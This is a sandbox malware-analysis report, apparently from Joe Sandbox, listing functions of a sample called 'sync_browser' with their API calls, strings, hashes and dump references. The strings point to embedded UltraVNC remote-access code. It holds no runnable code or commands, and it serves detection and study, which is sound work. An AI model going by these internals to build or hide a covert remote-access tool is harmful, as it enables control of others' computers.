Opcode ID: ca89c10cae28c705ea3385c970d3d674c35f6ab879636ad9786b4f134b09557f
Instruction ID: 32be21b150813946d0b5fc922f6a245df51cc3163026bc265335cb7d4d28078c
Opcode Fuzzy Hash: ca89c10cae28c705ea3385c970d3d674c35f6ab879636ad9786b4f134b09557f
Instruction Fuzzy Hash: 5841C35290C68E44F7157A75A87137DABD46F41F54F985033FA6EC21CADD3CD4458223

Function 00007FF7E509C090 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E512A220: _errno.LIBCMT ref: 00007FF7E512A168
Part of subcall function 00007FF7E512A220: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512A173

GlobalAlloc.KERNEL32 ref: 00007FF7E509C1AE
DeleteFileA.KERNEL32 ref: 00007FF7E509C1D6

Strings

!UVNCDIR-, xrefs: 00007FF7E509C0CF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AllocDeleteFileGlobal_errno_invalid_parameter_noinfo
String ID: !UVNCDIR-
API String ID: 2642416944-2720985186
Opcode ID: 06c9f7cff8713e7e821de9c1934e86ea9f9c841a539949df6008114534a2a042
Instruction ID: 7ab5502feeaa4c49bf3198de8a221e818ecee69a5ca84504d884fb9b082bf3f1
Opcode Fuzzy Hash: 06c9f7cff8713e7e821de9c1934e86ea9f9c841a539949df6008114534a2a042
Instruction Fuzzy Hash: B441962561C7C981EB25AB24B4243FAA751FB86B80F885133DB9D876CADF3CD505C721

Function 00007FF7E5129748 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E5129789
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5129794

Strings

B, xrefs: 00007FF7E51297AB

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: fae824a938474a811c26b963b90f3490e738d7e0b0a4b014d759f685275f7447
Instruction ID: 44b67937f89b6ac4100d6c6f450662e3acf37ae9df5af6b3356ea9f259c688cd
Opcode Fuzzy Hash: fae824a938474a811c26b963b90f3490e738d7e0b0a4b014d759f685275f7447
Instruction Fuzzy Hash: 32318236A14659C8E711AF69B4506ACB7B4BB08BA8F980537EE1D93A8CCF38D441D721

Function 00007FF7E5134AFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E5134B3D
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5134B48

Strings

SecureVNC;0;0x%08x;%s, xrefs: 00007FF7E5134B0B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: SecureVNC;0;0x%08x;%s
API String ID: 2959964966-2465057312
Opcode ID: dd74be20851cb3f41d9180301c7e16b100e5b1f099809bd476a84f22288f1907
Instruction ID: 30ee1f384ff6272b00ea2c56571f92cdd84f942b728b0f8982f0d88587519b66
Opcode Fuzzy Hash: dd74be20851cb3f41d9180301c7e16b100e5b1f099809bd476a84f22288f1907
Instruction Fuzzy Hash: 2B21E532B1471585E711EF61B4A46ACB6A4BB08BA8F960137EE5C93B8CCE79D401C351

Function 00007FF7E5082FE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E5083009
SetCurrentDirectoryA.KERNEL32 ref: 00007FF7E5083041

Strings

" -service, xrefs: 00007FF7E50830BF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CurrentDirectoryFileModuleName
String ID: " -service
API String ID: 3981628254-877726483
Opcode ID: 652a7e476fb5583efac58b4f6f8a379321410797b9c15688e010ce01b59f6f92
Instruction ID: c171fa9a6c41e7981d2d472e2f4096ec598c175610e3d7adee4a95781747fb48
Opcode Fuzzy Hash: 652a7e476fb5583efac58b4f6f8a379321410797b9c15688e010ce01b59f6f92
Instruction Fuzzy Hash: F231A2116087C584E731A724B8253BAB7A1FF89B50F844233D6AC876D9DE3CD114CB21

Function 00007FF7E5083EF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E5083F18
PlaySoundA.WINMM ref: 00007FF7E5083F85

Strings

ding_dong.wav, xrefs: 00007FF7E5083F59

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: FileModuleNamePlaySound
String ID: ding_dong.wav
API String ID: 3032721342-215479118
Opcode ID: 99ee9350481aafcb6135d7bf9a7cc864814340ecd75d5fca49f2cd5505f22af1
Instruction ID: 1d51ecafa9093cd4e44e3e194796428cfede6af165ca82165b5f3692750f2f28
Opcode Fuzzy Hash: 99ee9350481aafcb6135d7bf9a7cc864814340ecd75d5fca49f2cd5505f22af1
Instruction Fuzzy Hash: C411332571864991E724AB35F86136AA3A0FF48B60F905337EA6DC76D8DF3CD111CB11

Function 00007FF7E50841E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7E5084212

Part of subcall function 00007FF7E5127DE8: _errno.LIBCMT ref: 00007FF7E5127E00
Part of subcall function 00007FF7E5127DE8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127E0C

SendDlgItemMessageA.USER32 ref: 00007FF7E5084274

Strings

<, xrefs: 00007FF7E508423A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Item$MessageSend_errno_invalid_parameter_noinfo
String ID: <
API String ID: 2439412506-4251816714
Opcode ID: e51f02eda6ff0a6bcec5b6e3f2d368480529d1570d9d4b28ab8a1b662bfae53e
Instruction ID: d7231441ead587427f14a6fedae5e0a55f4165667a1c4e693f6e6809eb020a36
Opcode Fuzzy Hash: e51f02eda6ff0a6bcec5b6e3f2d368480529d1570d9d4b28ab8a1b662bfae53e
Instruction Fuzzy Hash: 8011913261864586EB60DF12F4207AAB360FBC8B58F945032EB8D47B59CF3CD906CB50

Function 00007FF7E5128B14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E5128B4D
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5128B58

Strings

I, xrefs: 00007FF7E5128B8D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: I
API String ID: 2959964966-3707901625
Opcode ID: 0f8a1ee3bb14a9a10d344f2e70c888eec5153ea001c92b380a334bbf7f60eb2b
Instruction ID: be986c4828670123726109108db2bdfa3b877074eb223cc5ccb988f37f9452ea
Opcode Fuzzy Hash: 0f8a1ee3bb14a9a10d344f2e70c888eec5153ea001c92b380a334bbf7f60eb2b
Instruction Fuzzy Hash: D911A072A08784C5EB10AB52B560369F7A4FB94FE0F584236EB9C87B99CF3CD5018B01

Function 00007FF7E508FF00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

getpeername.WS2_32 ref: 00007FF7E508FF3E
inet_ntoa.WS2_32 ref: 00007FF7E508FF48

Strings

<unavailable>, xrefs: 00007FF7E508FF55

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: getpeernameinet_ntoa
String ID: <unavailable>
API String ID: 1982201544-1096956887
Opcode ID: 66207f79876192fdddc093b2a6677a5d5b27d89d397317eb0c0bd4430368bfbf
Instruction ID: a90c45a56e81e5088a33f48af6c9fceddb66256e22d5ce3188940cdf2e2712c1
Opcode Fuzzy Hash: 66207f79876192fdddc093b2a6677a5d5b27d89d397317eb0c0bd4430368bfbf
Instruction Fuzzy Hash: 3F01806261564982EF50AB24F46537AB3A0FB88F98F840432EA4E8B369DF3CD445CB11

Function 00007FF7E507DA70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

OpenFileMappingA.KERNEL32 ref: 00007FF7E507DAA7
MapViewOfFile.KERNEL32 ref: 00007FF7E507DACD

Strings

{34F673E0-878F-11D5-B98A-57B0D07B8C7C}, xrefs: 00007FF7E507DA9B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: File$MappingOpenView
String ID: {34F673E0-878F-11D5-B98A-57B0D07B8C7C}
API String ID: 3439327939-2897898322
Opcode ID: de9b61d8815cc09478ebd6b72191161327ba0f804c783efe89e541f53af8c690
Instruction ID: 45d873d660a1797f3bbac1211ec355855e3de034b2825a0c4702defe01bf2d63
Opcode Fuzzy Hash: de9b61d8815cc09478ebd6b72191161327ba0f804c783efe89e541f53af8c690
Instruction Fuzzy Hash: 5A018E73508B9486E720DBA4F41176AB3A0FB88BA0F890336DA9A43B98DF7CD050C710

Function 00007FF7E507D9D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

OpenFileMappingA.KERNEL32 ref: 00007FF7E507DA07
MapViewOfFile.KERNEL32 ref: 00007FF7E507DA2D

Strings

{34F673E0-878F-11D5-B98A-00B0D07B8C7C}, xrefs: 00007FF7E507D9FB

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: File$MappingOpenView
String ID: {34F673E0-878F-11D5-B98A-00B0D07B8C7C}
API String ID: 3439327939-3305976270
Opcode ID: d1937ede65a235c7d2ec2112a920b07808cbcf2251c75e06a6bb4d56b5d8fc00
Instruction ID: 00904e88e4dd01a527c5afa1778253c4e6dec4f05e8816c171b1e8153baee19a
Opcode Fuzzy Hash: d1937ede65a235c7d2ec2112a920b07808cbcf2251c75e06a6bb4d56b5d8fc00
Instruction Fuzzy Hash: 05018E33509BC486E720DB64F45136AF3A0FB84BA0F884235E69A42B98DF7CD450C760

Function 00007FF7E509F6F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32 ref: 00007FF7E509F719
PostMessageA.USER32 ref: 00007FF7E509F765

Strings

WindowsScreenSaverClass, xrefs: 00007FF7E509F733

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ClassMessageNamePost
String ID: WindowsScreenSaverClass
API String ID: 650004062-352026012
Opcode ID: ffc7696b1c0006f253adaaa31f662de761ee3bb9df9a87c81459a5f9d86df577
Instruction ID: 99d3f02d0e566a33d64f380aedd898d00eaf16a5318d003f6a3bd61096d572d0
Opcode Fuzzy Hash: ffc7696b1c0006f253adaaa31f662de761ee3bb9df9a87c81459a5f9d86df577
Instruction Fuzzy Hash: 0A014F35618F8981E7719B15F9607EAA390FB88B84F801132DA8C47B5CDE3CE155CB11

Function 00007FF7E507D8C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32 ref: 00007FF7E507D90B
GetLastError.KERNEL32 ref: 00007FF7E507D915

Strings

{34F673E0-878F-11D5-B98A-00B0D07B8C7C}, xrefs: 00007FF7E507D8EA

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastMapping
String ID: {34F673E0-878F-11D5-B98A-00B0D07B8C7C}
API String ID: 1790465270-3305976270
Opcode ID: dbcc6fba753eff514446a0364bbb8b9bc7cf6d08a70ced7c788015d2b9f2cd1e
Instruction ID: 7af49f32d99627b76fa1b3551ba738d20a1af642f6a4f156add7a898980be9cc
Opcode Fuzzy Hash: dbcc6fba753eff514446a0364bbb8b9bc7cf6d08a70ced7c788015d2b9f2cd1e
Instruction Fuzzy Hash: C7018F33508BC582E7609B28F41136AF7A0E744B74F948335E6BA426E8DF7CC490C721

Function 00007FF7E50989E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31synchronizationwindowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00007FF7E5098A29
WaitForSingleObject.KERNEL32 ref: 00007FF7E5098A36

Strings

vncclient.cpp : client Kill() called, xrefs: 00007FF7E50989ED

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: MessageObjectSendSingleWait
String ID: vncclient.cpp : client Kill() called
API String ID: 353115698-1198714380
Opcode ID: 0f203efc3d92cf8d5df219f435c3488083d109424bac7753846dae75abe6381d
Instruction ID: f312a061da74ba03b0872a2af2c9b547ccd3f36cf02330cbe0d46a5bb84453b9
Opcode Fuzzy Hash: 0f203efc3d92cf8d5df219f435c3488083d109424bac7753846dae75abe6381d
Instruction Fuzzy Hash: A401843260458981FB58EF35E4657A9A360EF84F64F844332D73C866D9CF38D494C392

Function 00007FF7E5076760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,00007FF7E50761EF), ref: 00007FF7E50767A4
